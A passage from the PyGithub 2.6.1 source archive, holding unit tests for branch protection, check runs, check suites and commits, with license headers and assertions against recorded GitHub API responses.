"https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch", "message": "Invalid request.\n\n9 must be less than or equal to 6.", }, ) def testEditRequiredPullRequestReviewsWithUserBranchAndDismissalUsers(self): with self.assertRaises(github.GithubException) as raisedexp: self.protected_branch.edit_required_pull_request_reviews(dismissal_users=["jacquev6"]) self.assertEqual( raisedexp.exception.message, "Dismissal restrictions are supported only for repositories owned by an organization.", ) self.assertEqual(raisedexp.exception.status, 422) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch", "message": "Dismissal restrictions are supported only for repositories owned by an organization.", }, ) def testRemoveRequiredPullRequestReviews(self): self.protected_branch.remove_required_pull_request_reviews() required_pull_request_reviews = self.protected_branch.get_required_pull_request_reviews() self.assertFalse(required_pull_request_reviews.dismiss_stale_reviews) self.assertFalse(required_pull_request_reviews.require_code_owner_reviews) self.assertEqual(required_pull_request_reviews.required_approving_review_count, 1) self.assertFalse(required_pull_request_reviews.require_last_push_approval) def testAdminEnforcement(self): self.protected_branch.remove_admin_enforcement() self.assertFalse(self.protected_branch.get_admin_enforcement()) self.protected_branch.set_admin_enforcement() self.assertTrue(self.protected_branch.get_admin_enforcement()) def testAllowDeletions(self): self.protected_branch.set_allow_deletions() self.assertTrue(self.protected_branch.get_allow_deletions()) self.protected_branch.remove_allow_deletions() self.assertFalse(self.protected_branch.get_allow_deletions()) def testAddUserPushRestrictions(self): self.organization_branch.add_user_push_restrictions("sfdye") self.assertListKeyEqual( self.organization_branch.get_user_push_restrictions(), lambda u: u.login, ["jacquev6", "sfdye"], ) def testReplaceUserPushRestrictions(self): self.assertListKeyEqual( self.organization_branch.get_user_push_restrictions(), lambda u: u.login, ["jacquev6"], ) self.organization_branch.replace_user_push_restrictions("sfdye") self.assertListKeyEqual( self.organization_branch.get_user_push_restrictions(), lambda u: u.login, ["sfdye"], ) def testRemoveUserPushRestrictions(self): self.organization_branch.remove_user_push_restrictions("jacquev6") self.assertListKeyEqual( self.organization_branch.get_user_push_restrictions(), lambda u: u.login, ["sfdye"], ) def testAddTeamPushRestrictions(self): self.organization_branch.add_team_push_restrictions("pygithub-owners") self.assertListKeyEqual( self.organization_branch.get_team_push_restrictions(), lambda t: t.slug, ["pygithub-owners"], ) def testReplaceTeamPushRestrictions(self): self.assertListKeyEqual( self.organization_branch.get_team_push_restrictions(), lambda t: t.slug, ["pygithub-owners"], ) self.organization_branch.replace_team_push_restrictions("org-team") self.assertListKeyEqual( self.organization_branch.get_team_push_restrictions(), lambda t: t.slug, ["org-team"], ) def testRemoveTeamPushRestrictions(self): self.organization_branch.remove_team_push_restrictions("org-team") self.assertListKeyEqual( self.organization_branch.get_team_push_restrictions(), lambda t: t.slug, ["pygithub-owners"], ) def testRemovePushRestrictions(self): self.organization_branch.remove_push_restrictions() with self.assertRaises(github.GithubException) as raisedexp: list(self.organization_branch.get_user_push_restrictions()) self.assertEqual(raisedexp.exception.message, "Push restrictions not enabled") self.assertEqual(raisedexp.exception.status, 404) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://developer.github.com/v3/repos/branches/#list-team-restrictions-of-protected-branch", "message": "Push restrictions not enabled", }, ) def testGetRequiredSignatures(self): required_signature = self.protected_branch.get_required_signatures() assert required_signature def testRemoveRequiredSignatures(self): self.protected_branch.remove_required_signatures() def testAddRequiredSignatures(self): self.protected_branch.add_required_signatures() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/BranchProtection.py0000644000175100001660000001233014756101563017745 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class BranchProtection(Framework.TestCase): def setUp(self): super().setUp() self.branch_protection = self.g.get_repo("curvewise-forks/PyGithub").get_branch("master").get_protection() def testAttributes(self): self.assertEqual(self.branch_protection.allow_deletions, False) self.assertEqual(self.branch_protection.allow_force_pushes, False) self.assertEqual(self.branch_protection.allow_fork_syncing, False) self.assertEqual(self.branch_protection.block_creations, False) self.assertIsNone(self.branch_protection.enabled) self.assertEqual(self.branch_protection.enforce_admins, True) self.assertEqual(self.branch_protection.lock_branch, False) self.assertIsNone(self.branch_protection.name) self.assertIsNone(self.branch_protection.protection_url) self.assertEqual(self.branch_protection.required_conversation_resolution, False) self.assertEqual(self.branch_protection.required_linear_history, True) self.assertEqual( self.branch_protection.required_pull_request_reviews.url, "https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection/required_pull_request_reviews", ) self.assertEqual(self.branch_protection.required_signatures, False) self.assertTrue(self.branch_protection.required_status_checks.strict) self.assertEqual(self.branch_protection.required_status_checks.contexts, ["build (3.10)"]) self.assertTrue(self.branch_protection.required_linear_history) self.assertIsNone(self.branch_protection.restrictions) self.assertEqual( self.branch_protection.url, "https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection", ) self.assertEqual( self.branch_protection.__repr__(), 'BranchProtection(url="https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection")', ) self.assertFalse(self.branch_protection.allow_force_pushes) self.assertFalse(self.branch_protection.allow_deletions) self.assertFalse(self.branch_protection.required_conversation_resolution) self.assertFalse(self.branch_protection.lock_branch) self.assertFalse(self.branch_protection.allow_fork_syncing) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/CheckRun.py0000644000175100001660000004114214756101563016206 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2020 Dhruv Manilawala # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class CheckRun(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("PyGithub/PyGithub") self.testrepo = self.g.get_repo("dhruvmanila/pygithub-testing") self.check_run_id = 34942661139 self.check_run_ref = "10a7135a04f71e6101f8b013aded8a662d08fd1f" self.check_run = self.repo.get_check_run(self.check_run_id) self.commit = self.repo.get_commit(self.check_run_ref) def testAttributes(self): self.assertEqual(self.check_run.app.id, 15368) self.assertEqual(self.check_run.app.slug, "github-actions") self.assertEqual(self.check_run.check_suite.id, 32504127411) self.assertEqual( self.check_run.check_suite.url, "https://api.github.com/repos/PyGithub/PyGithub/check-suites/32504127411" ) # check_suite is lazy, so accessing a property other than id or url fetches the suite object self.assertEqual(self.check_run.check_suite.head_sha, "10a7135a04f71e6101f8b013aded8a662d08fd1f") self.assertEqual(self.check_run.check_suite_id, 32504127411) self.assertEqual(self.check_run.completed_at, datetime(2024, 12, 28, 16, 53, 10, tzinfo=timezone.utc)) self.assertEqual(self.check_run.conclusion, "success") self.assertIsNone(self.check_run.deployment) self.assertEqual( self.check_run.details_url, "https://github.com/PyGithub/PyGithub/actions/runs/12528252236/job/34942661139" ) self.assertEqual(self.check_run.external_id, "8ece7711-e8e8-5d87-8f8a-6791d424ecd6") self.assertEqual(self.check_run.head_sha, "10a7135a04f71e6101f8b013aded8a662d08fd1f") self.assertEqual( self.check_run.html_url, "https://github.com/PyGithub/PyGithub/actions/runs/12528252236/job/34942661139" ) self.assertEqual(self.check_run.id, 34942661139) self.assertEqual(self.check_run.name, "test (Python 3.8 on Ubuntu)") self.assertEqual(self.check_run.node_id, "CR_kwDOADYVqs8AAAAIIr6yEw") self.assertEqual(self.check_run.output.annotations_count, 1) self.assertEqual(len(self.check_run.pull_requests), 0) self.assertEqual(self.check_run.started_at, datetime(2024, 12, 28, 16, 51, 59, tzinfo=timezone.utc)) self.assertEqual(self.check_run.status, "completed") self.assertEqual(self.check_run.url, "https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139") self.assertEqual(repr(self.check_run), 'CheckRun(id=34942661139, conclusion="success")') def testCheckRunOutputAttributes(self): check_run_output = self.repo.get_check_run(1039891917).output self.assertEqual(check_run_output.title, "test (Python 3.6)") self.assertEqual( check_run_output.summary, "There are 1 failures, 0 warnings, and 0 notices.", ) self.assertIsNone(check_run_output.text) self.assertEqual(check_run_output.annotations_count, 1) self.assertEqual( check_run_output.annotations_url, "https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations", ) self.assertEqual(repr(check_run_output), 'CheckRunOutput(title="test (Python 3.6)")') def testGetCheckRunsForRef(self): check_runs = self.commit.get_check_runs() self.assertEqual(check_runs.totalCount, 4) self.assertListEqual( [check_run.id for check_run in check_runs], [34942661139, 1039891931, 1039891917, 1039891902], ) def testGetCheckRunsForRefFilterByCheckName(self): check_runs = self.commit.get_check_runs(check_name="test (Python 3.6)") self.assertEqual(check_runs.totalCount, 1) self.assertListEqual([check_run.id for check_run in check_runs], [1039891917]) def testGetCheckRunsForRefFilterByStatus(self): completed_check_runs = self.commit.get_check_runs(status="completed") self.assertEqual(completed_check_runs.totalCount, 4) self.assertListEqual( [check_run.id for check_run in completed_check_runs], [34942661139, 1039891931, 1039891917, 1039891902], ) queued_check_runs = self.commit.get_check_runs(status="queued") self.assertEqual(queued_check_runs.totalCount, 0) in_progress_check_runs = self.commit.get_check_runs(status="in_progress") self.assertEqual(in_progress_check_runs.totalCount, 0) def testGetCheckRunsForRefFilterByFilter(self): latest_check_runs = self.commit.get_check_runs(filter="latest") all_check_runs = self.commit.get_check_runs(filter="all") self.assertEqual(latest_check_runs.totalCount, 4) self.assertListEqual( [check_run.id for check_run in latest_check_runs], [34942661139, 1039891931, 1039891917, 1039891902], ) self.assertEqual(all_check_runs.totalCount, 4) self.assertListEqual( [check_run.id for check_run in all_check_runs], [34942661139, 1039891931, 1039891917, 1039891902], ) def testCreateCheckRunInProgress(self): check_run = self.testrepo.create_check_run( name="basic_check_run", head_sha="0283d46537193f1fed7d46859f15c5304b9836f9", status="in_progress", external_id="50", details_url="https://www.example.com", started_at=datetime(2020, 9, 4, 1, 14, 52), output={"title": "PyGithub Check Run Test", "summary": "Test summary"}, ) self.assertEqual(check_run.name, "basic_check_run") self.assertEqual(check_run.head_sha, "0283d46537193f1fed7d46859f15c5304b9836f9") self.assertEqual(check_run.status, "in_progress") self.assertEqual(check_run.external_id, "50") self.assertEqual( check_run.started_at, datetime(2020, 9, 4, 1, 14, 52, tzinfo=timezone.utc), ) self.assertEqual(check_run.output.title, "PyGithub Check Run Test") self.assertEqual(check_run.output.summary, "Test summary") self.assertIsNone(check_run.output.text) self.assertEqual(check_run.output.annotations_count, 0) # We don't want to keep this hanging check_run.edit(conclusion="success") self.assertEqual(check_run.conclusion, "success") self.assertEqual(check_run.status, "completed") def testCreateCheckRunCompleted(self): check_run = self.testrepo.create_check_run( name="completed_check_run", head_sha="0283d46537193f1fed7d46859f15c5304b9836f9", status="completed", started_at=datetime(2020, 10, 20, 10, 30, 29), conclusion="success", completed_at=datetime(2020, 10, 20, 11, 30, 50), output={ "title": "Readme report", "summary": "There are 0 failures, 2 warnings, and 1 notices.", "text": "You may have some misspelled words on lines 2 and 4.", "annotations": [ { "path": "README.md", "annotation_level": "warning", "title": "Spell Checker", "message": "Check your spelling for 'banaas'.", "raw_details": "Do you mean 'bananas' or 'banana'?", "start_line": 2, "end_line": 2, }, { "path": "README.md", "annotation_level": "warning", "title": "Spell Checker", "message": "Check your spelling for 'aples'", "raw_details": "Do you mean 'apples' or 'Naples'", "start_line": 4, "end_line": 4, }, ], "images": [ { "alt": "Test Image", "image_url": "http://example.com/images/42", } ], }, actions=[ { "label": "Fix", "identifier": "fix_errors", "description": "Allow us to fix these errors for you", } ], ) self.assertEqual(check_run.name, "completed_check_run") self.assertEqual(check_run.head_sha, "0283d46537193f1fed7d46859f15c5304b9836f9") self.assertEqual(check_run.status, "completed") self.assertEqual( check_run.started_at, datetime(2020, 10, 20, 10, 30, 29, tzinfo=timezone.utc), ), self.assertEqual(check_run.conclusion, "success") self.assertEqual( check_run.completed_at, datetime(2020, 10, 20, 11, 30, 50, tzinfo=timezone.utc), ), self.assertEqual(check_run.output.annotations_count, 2) def testUpdateCheckRunSuccess(self): # This is a different check run created for this test check_run = self.testrepo.create_check_run( name="edit_check_run", head_sha="0283d46537193f1fed7d46859f15c5304b9836f9", status="in_progress", external_id="100", started_at=datetime(2020, 10, 20, 14, 24, 31), output={"title": "Check run for testing edit method", "summary": ""}, ) self.assertEqual(check_run.name, "edit_check_run") self.assertEqual(check_run.status, "in_progress") check_run.edit( status="completed", conclusion="success", output={ "title": "Check run for testing edit method", "summary": "This is the summary of editing check run as completed.", }, ) self.assertEqual(check_run.name, "edit_check_run") self.assertEqual(check_run.status, "completed") self.assertEqual(check_run.conclusion, "success") self.assertEqual(check_run.output.title, "Check run for testing edit method") self.assertEqual( check_run.output.summary, "This is the summary of editing check run as completed.", ) self.assertEqual(check_run.output.annotations_count, 0) def testUpdateCheckRunFailure(self): # This is a different check run created for this test check_run = self.testrepo.create_check_run( name="fail_check_run", head_sha="0283d46537193f1fed7d46859f15c5304b9836f9", status="in_progress", external_id="101", started_at=datetime(2020, 10, 20, 10, 14, 51), output={"title": "Check run for testing failure", "summary": ""}, ) self.assertEqual(check_run.name, "fail_check_run") self.assertEqual(check_run.status, "in_progress") check_run.edit( status="completed", conclusion="failure", output={ "title": "Check run for testing failure", "summary": "There is 1 whitespace error.", "text": "You may have a whitespace error in the file 'test.py'", "annotations": [ { "path": "test.py", "annotation_level": "failure", "title": "whitespace checker", "message": "Remove the unnecessary whitespace from the file.", "start_line": 2, "end_line": 2, "start_column": 17, "end_column": 18, } ], }, actions=[ { "label": "Fix", "identifier": "fix_errors", "description": "Allow us to fix these errors for you", } ], ) self.assertEqual(check_run.status, "completed") self.assertEqual(check_run.conclusion, "failure") self.assertEqual(check_run.output.annotations_count, 1) def testUpdateCheckRunAll(self): check_run = self.testrepo.get_check_run(1279259090) check_run.edit( name="update_all_params", head_sha="0283d46537193f1fed7d46859f15c5304b9836f9", details_url="https://www.example-url.com", external_id="49", started_at=datetime(2020, 10, 20, 1, 10, 20), completed_at=datetime(2020, 10, 20, 2, 20, 30), actions=[ { "label": "Hello World!", "identifier": "identity", "description": "Hey! This is a test", } ], ) self.assertEqual(check_run.name, "update_all_params") self.assertEqual(check_run.head_sha, "0283d46537193f1fed7d46859f15c5304b9836f9") self.assertEqual(check_run.details_url, "https://www.example-url.com") self.assertEqual(check_run.external_id, "49") self.assertEqual( check_run.started_at, datetime(2020, 10, 20, 1, 10, 20, tzinfo=timezone.utc), ) self.assertEqual( check_run.completed_at, datetime(2020, 10, 20, 2, 20, 30, tzinfo=timezone.utc), ) def testCheckRunAnnotationAttributes(self): check_run = self.testrepo.get_check_run(1280914700) self.assertEqual(check_run.name, "annotations") annotation = check_run.get_annotations()[0] self.assertEqual(annotation.annotation_level, "warning") self.assertIsNone(annotation.end_column) self.assertEqual(annotation.end_line, 2) self.assertEqual(annotation.message, "Check your spelling for 'banaas'.") self.assertEqual(annotation.path, "README.md") self.assertEqual(annotation.raw_details, "Do you mean 'bananas' or 'banana'?") self.assertIsNone(annotation.start_column) self.assertEqual(annotation.start_line, 2) self.assertEqual(annotation.title, "Spell Checker") self.assertEqual( annotation.blob_href, "https://github.com/dhruvmanila/pygithub-testing/blob/0283d46537193f1fed7d46859f15c5304b9836f9/README.md", ) self.assertEqual(repr(annotation), 'CheckRunAnnotation(title="Spell Checker")') def testListCheckRunAnnotations(self): check_run = self.testrepo.get_check_run(1280914700) self.assertEqual(check_run.name, "annotations") self.assertEqual(check_run.status, "completed") annotation_list = check_run.get_annotations() self.assertEqual(annotation_list.totalCount, 2) self.assertListEqual([annotation.start_line for annotation in annotation_list], [2, 4]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/CheckSuite.py0000644000175100001660000002010714756101563016531 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2020 Dhruv Manilawala # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class CheckSuite(Framework.TestCase): def setUp(self): super().setUp() self.check_suite_id = 1004503837 self.test_check_suite_id = 1366665055 self.test_repo = self.g.get_repo("dhruvmanila/pygithub-testing") self.test_check_suite = self.test_repo.get_check_suite(self.test_check_suite_id) self.repo = self.g.get_repo("wrecker/PySample") self.check_suite = self.repo.get_check_suite(self.check_suite_id) self.check_suite_ref = "fd09d934bcce792176d6b79d6d0387e938b62b7a" self.commit = self.repo.get_commit("fd09d934bcce792176d6b79d6d0387e938b62b7a") def testAttributes(self): cs = self.check_suite self.assertEqual(cs.after, "fd09d934bcce792176d6b79d6d0387e938b62b7a") self.assertEqual(cs.app.slug, "github-actions") self.assertEqual(cs.before, "9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283") self.assertEqual( cs.check_runs_url, "https://api.github.com/repos/wrecker/PySample/check-suites/1004503837/check-runs", ) self.assertEqual(cs.conclusion, "success") self.assertEqual(cs.created_at, datetime(2020, 8, 4, 5, 6, 54, tzinfo=timezone.utc)) self.assertEqual(cs.head_branch, "wrecker-patch-1") self.assertEqual(cs.head_commit.sha, "fd09d934bcce792176d6b79d6d0387e938b62b7a") self.assertEqual(cs.head_sha, "fd09d934bcce792176d6b79d6d0387e938b62b7a") self.assertEqual(cs.id, self.check_suite_id) self.assertEqual(cs.latest_check_runs_count, 2) self.assertEqual(cs.id, self.check_suite_id) self.assertEqual(cs.node_id, "MDEwOkNoZWNrU3VpdGUxMDA0NTAzODM3") self.assertEqual(len(cs.pull_requests), 1) self.assertEqual(cs.pull_requests[0].id, 462527907) self.assertEqual(cs.repository.url, "https://api.github.com/repos/wrecker/PySample") self.assertEqual(cs.rerequestable, True) self.assertEqual(cs.runs_rerequestable, True) self.assertEqual(cs.status, "completed") self.assertEqual(cs.updated_at, datetime(2020, 8, 4, 5, 7, 40, tzinfo=timezone.utc)) self.assertEqual( cs.url, "https://api.github.com/repos/wrecker/PySample/check-suites/1004503837", ) def testGetCheckSuitesForRef(self): check_suites = self.commit.get_check_suites() self.assertEqual(check_suites.totalCount, 6) self.assertListEqual( [cs.id for cs in check_suites], [1004503392, 1004503393, 1004503395, 1004503397, 1004503837, 1004503857], ) def testGetCheckSuitesForRefFilterByAppId(self): check_suites = self.commit.get_check_suites(app_id=29110) self.assertEqual(check_suites.totalCount, 1) self.assertListEqual([cs.id for cs in check_suites], [1004503392]) def testGetCheckSuitesForRefFilterByCheckName(self): check_suites = self.commit.get_check_suites(check_name="Alex") self.assertEqual(check_suites.totalCount, 1) self.assertListEqual([cs.id for cs in check_suites], [1004503395]) def testCheckSuiteRerequest(self): cs = self.repo.get_check_suite(1004503395) status = cs.rerequest() self.assertTrue(status) def testGetCheckRuns(self): check_runs = self.test_check_suite.get_check_runs() self.assertEqual(check_runs.totalCount, 8) self.assertListEqual( [cr.id for cr in check_runs], [ 1278952206, 1279259090, 1280450752, 1280914700, 1296027873, 1296028076, 1296029378, 1296029552, ], ) def testGetCheckRunsFilterByCheckName(self): check_runs = self.test_check_suite.get_check_runs(check_name="Testing") self.assertEqual(check_runs.totalCount, 1) self.assertEqual([cr.id for cr in check_runs], [1278952206]) def testGetCheckRunsFilterByStatus(self): check_runs = self.test_check_suite.get_check_runs(status="completed") self.assertEqual(check_runs.totalCount, 8) self.assertListEqual( [cr.id for cr in check_runs], [ 1278952206, 1279259090, 1280450752, 1280914700, 1296027873, 1296028076, 1296029378, 1296029552, ], ) def testGetCheckRunsFilterByFilter(self): check_runs = self.test_check_suite.get_check_runs(filter="all") self.assertEqual(check_runs.totalCount, 8) self.assertListEqual( [cr.id for cr in check_runs], [ 1278952206, 1279259090, 1280450752, 1280914700, 1296027873, 1296028076, 1296029378, 1296029552, ], ) def testCreateCheckSuite(self): sha = "e5868bd5a9ccdd65c9c979250e11105f4c88faf4" check_suite = self.test_repo.create_check_suite(head_sha=sha) self.assertEqual(check_suite.head_sha, sha) self.assertEqual(check_suite.status, "queued") self.assertIsNone(check_suite.conclusion) def testUpdateCheckSuitesPreferences(self): data = [{"app_id": 85429, "setting": False}] repo_preferences = self.test_repo.update_check_suites_preferences(data) setting = None for app in repo_preferences.preferences["auto_trigger_checks"]: if app["app_id"] == data[0]["app_id"]: setting = app["setting"] self.assertFalse(setting) self.assertEqual(repo_preferences.repository.full_name, "dhruvmanila/pygithub-testing") data = [{"app_id": 85429, "setting": True}] repo_preferences = self.test_repo.update_check_suites_preferences(data) for app in repo_preferences.preferences["auto_trigger_checks"]: if app["app_id"] == data[0]["app_id"]: setting = app["setting"] self.assertTrue(setting) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Commit.py0000644000175100001660000002164714756101563015744 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Danilo Martins # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2024 Kian-Meng Ang # # Copyright 2024 iarspider # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class Commit(Framework.TestCase): def setUp(self): super().setUp() self.commit = self.g.get_user().get_repo("PyGithub").get_commit("1292bf0e22c796e91cc3d6e24b544aece8c21f2a") self.commit.author.login # to force lazy completion def testAttributes(self): self.assertEqual(self.commit.author.login, "jacquev6") self.assertEqual( self.commit.comments_url, "https://api.github.com/repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/comments", ) self.assertEqual( self.commit.commit.url, "https://api.github.com/repos/jacquev6/PyGithub/git/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a", ) self.assertEqual(self.commit.committer.login, "jacquev6") self.assertEqual(len(list(self.commit.files)), 1) self.assertEqual(self.commit.files.totalCount, 1) self.assertEqual(self.commit.files[0].additions, 0) self.assertEqual( self.commit.files[0].blob_url, "https://github.com/jacquev6/PyGithub/blob/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github%2FGithubObjects%2FGitAuthor.py", ) self.assertEqual(self.commit.files[0].changes, 20) self.assertEqual(self.commit.files[0].deletions, 20) self.assertEqual(self.commit.files[0].filename, "github/GithubObjects/GitAuthor.py") self.assertTrue(isinstance(self.commit.files[0].patch, str)) self.assertEqual( self.commit.files[0].raw_url, "https://github.com/jacquev6/PyGithub/raw/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github%2FGithubObjects%2FGitAuthor.py", ) self.assertEqual(self.commit.files[0].sha, "ca6a3c616fc1367b6d01d04a7cf6ee27cf216f26") self.assertEqual(self.commit.files[0].status, "modified") self.assertEqual( self.commit.html_url, "https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a" ) self.assertEqual( self.commit.node_id, "MDY6Q29tbWl0NDQ2MzY1NzM1OjEyOTJiZjBlMjJjNzk2ZTkxY2MzZDZlMjRiNTQ0YWVjZThjMjFmMmE=" ) self.assertEqual(len(self.commit.parents), 1) self.assertEqual(self.commit.parents[0].sha, "b46ed0dfde5ad02d3b91eb54a41c5ed960710eae") self.assertIsNone(self.commit.repository) self.assertEqual(self.commit.score, None) self.assertEqual(self.commit.sha, "1292bf0e22c796e91cc3d6e24b544aece8c21f2a") self.assertEqual(self.commit.stats.deletions, 20) self.assertEqual(self.commit.stats.additions, 0) self.assertEqual(self.commit.stats.total, 20) self.assertIsNone(self.commit.text_matches) self.assertEqual( self.commit.url, "https://api.github.com/repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a", ) self.assertEqual(self.commit.commit.tree.sha, "4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab") self.assertEqual(repr(self.commit), 'Commit(sha="1292bf0e22c796e91cc3d6e24b544aece8c21f2a")') def testGetBranchesWhereHead(self): repo = self.g.get_repo("PyGithub/PyGithub") commit = repo.get_commit("0791cc7b1a706ab5d7c607ddff35de4d486ba3e9") self.assertListKeyEqual( commit.get_branches_where_head(), lambda b: b.name, ["release-v2-0"], ) def testGetComments(self): self.assertListKeyEqual( self.commit.get_comments(), lambda c: c.id, [1347033, 1347083, 1347397, 1349654], ) def testCreateComment(self): comment = self.commit.create_comment("Comment created by PyGithub") self.assertEqual(comment.id, 1361949) self.assertEqual(comment.line, None) self.assertEqual(comment.path, None) self.assertEqual(comment.position, None) def testCreateCommentOnFileLine(self): comment = self.commit.create_comment( "Comment created by PyGithub", path="codegen/templates/GithubObject.MethodBody.UseResult.py", line=26, ) self.assertEqual(comment.id, 1362000) self.assertEqual(comment.line, 26) self.assertEqual(comment.path, "codegen/templates/GithubObject.MethodBody.UseResult.py") self.assertEqual(comment.position, None) def testCreateCommentOnFilePosition(self): comment = self.commit.create_comment( "Comment also created by PyGithub", path="codegen/templates/GithubObject.MethodBody.UseResult.py", position=3, ) self.assertEqual(comment.id, 1362001) self.assertEqual(comment.line, None) self.assertEqual(comment.path, "codegen/templates/GithubObject.MethodBody.UseResult.py") self.assertEqual(comment.position, 3) def testCreateStatusWithoutOptionalParameters(self): status = self.commit.create_status("pending") self.assertEqual(status.id, 277031) self.assertEqual(status.state, "pending") self.assertEqual(status.target_url, None) self.assertEqual(status.description, None) def testCreateStatusWithAllParameters(self): status = self.commit.create_status( "success", "https://github.com/jacquev6/PyGithub/issues/67", "Status successfully created by PyGithub", ) self.assertEqual(status.id, 277040) self.assertEqual(status.state, "success") self.assertEqual(status.target_url, "https://github.com/jacquev6/PyGithub/issues/67") self.assertEqual(status.description, "Status successfully created by PyGithub") def testGetPulls(self): commit = self.g.get_user().get_repo("PyGithub").get_commit("e44d11d565c022496544dd6ed1f19a8d718c2b0c") self.assertListKeyEqual(commit.get_pulls(), lambda c: c.number, [1431]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/CommitCombinedStatus.py0000644000175100001660000001211714756101563020601 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 John Eskew # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # 